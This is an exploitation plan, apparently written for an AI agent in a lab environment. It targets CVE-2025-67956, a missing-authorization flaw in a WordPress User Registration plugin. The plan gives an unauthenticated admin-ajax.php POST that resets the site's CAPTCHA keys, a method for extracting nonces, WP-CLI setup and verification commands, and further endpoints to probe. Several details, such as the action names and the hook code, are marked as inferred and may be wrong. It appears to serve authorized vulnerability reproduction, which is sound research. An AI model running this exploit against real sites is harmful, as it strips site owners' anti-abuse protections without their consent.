Exploitation Research Plan: CVE-2025-67956 (Missing Authorization)

1. Vulnerability Summary

The User Registration plugin (<= 4.4.6) is vulnerable to unauthorized access due to a missing capability check on a newly introduced function in version 4.4.6. Specifically, the "Reset Captcha Keys" functionality added in this version appears to expose an AJAX endpoint that fails to verify if the requesting user has administrative privileges or if the request is legitimate via a nonce. This allows unauthenticated attackers to reset the plugin's global reCAPTCHA/hCaptcha configuration, potentially disabling security features or disrupting registration flows.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: user_registration_reset_captcha_settings (inferred from 4.4.6 changelog: "Added a reset button to reset captcha keys in global settings").
• Parameter: action=user_registration_reset_captcha_settings
• Authentication: Unauthenticated (PR:N per CVSS). This implies the function is hooked to wp_ajax_nopriv_user_registration_reset_captcha_settings or the wp_ajax_ handler lacks a current_user_can() check and is accessible to any user.
• Preconditions: The plugin must be version 4.4.6. CAPTCHA keys should be configured to observe the effect.

3. Code Flow

1. Entry Point: A request is sent to admin-ajax.php with action=user_registration_reset_captcha_settings.
2. Hook Registration: In includes/class-ur-ajax.php (or includes/admin/class-ur-admin-settings.php), the plugin registers the AJAX handler:

   // Inferred registration pattern
   add_action( 'wp_ajax_user_registration_reset_captcha_settings', array( 'UR_Ajax', 'reset_captcha_settings' ) );
   add_action( 'wp_ajax_nopriv_user_registration_reset_captcha_settings', array( 'UR_Ajax', 'reset_captcha_settings' ) );
   

3. Vulnerable Function: The reset_captcha_settings function (likely in includes/class-ur-ajax.php) executes.
4. Missing Check: The function performs update_option( 'user_registration_captcha_site_key', '' ) and update_option( 'user_registration_captcha_secret_key', '' ) without verifying current_user_can( 'manage_options' ).

4. Nonce Acquisition Strategy

If the endpoint requires a nonce, it is typically localized for the settings page. However, since this is an unauthenticated vulnerability (PR:N), the nonce must be either:

1. Missing entirely (most likely).
2. Exposed on a public page.

Strategy to check for Nonce Exposure:

1. Search Code: Look for wp_localize_script in includes/admin/class-ur-admin-settings.php or includes/class-ur-admin-assets.php.
2. JS Variable: The localized object is usually user_registration_admin_params.
3. Creation:

   wp post create --post_type=page --post_status=publish --post_title="UR Test" --post_content='[user_registration_form id="any"]'
   

4. Extraction: Navigate to the new page and run:

   browser_eval("window.user_registration_admin_params?.ur_nonce || window.ur_admin_params?.nonce")
   

5. Exploitation Strategy

The goal is to trigger the unauthorized reset of captcha settings.

1. Prepare Payload:
   • URL: http://<target>/wp-admin/admin-ajax.php
   • Method: POST
   • Body (URL-encoded):

     action=user_registration_reset_captcha_settings&security=<nonce_if_found>
     

2. Request execution (via http_request):

   {
     "method": "POST",
     "url": "http://vulnerable.test/wp-admin/admin-ajax.php",
     "headers": {
       "Content-Type": "application/x-www-form-urlencoded"
     },
     "params": {
       "action": "user_registration_reset_captcha_settings"
     }
   }
   

6. Test Data Setup

Before running the exploit, configure CAPTCHA keys to verify they get cleared:

wp option update user_registration_captcha_site_key "EXPECTED_SITE_KEY_123"
wp option update user_registration_captcha_secret_key "EXPECTED_SECRET_KEY_456"
wp option update user_registration_captcha_type "google_recaptcha_v2"

7. Expected Results

• Response: The server returns a success status (likely {"success": true} or a 1).
• Database Change: The options user_registration_captcha_site_key and user_registration_captcha_secret_key are cleared (set to empty strings).

8. Verification Steps

After the HTTP request, verify the settings using WP-CLI:

# Check if keys were cleared
wp option get user_registration_captcha_site_key
wp option get user_registration_captcha_secret_key

If the output for both is empty, the exploitation was successful.

9. Alternative Approaches

If user_registration_reset_captcha_settings is not the correct action name, the agent should search the 4.4.6 codebase for:

1. wp_ajax_nopriv_ hooks added in the latest version.
2. The string "captcha" or "reset" within includes/class-ur-ajax.php.
3. Functions that call update_option for captcha-related settings.

Another possible target is the Preview and Embed functionality mentioned in the changelog:

• Action: user_registration_get_form_preview or user_registration_load_login_form_preview.
• Check if these reveal sensitive form structures or settings without authorization.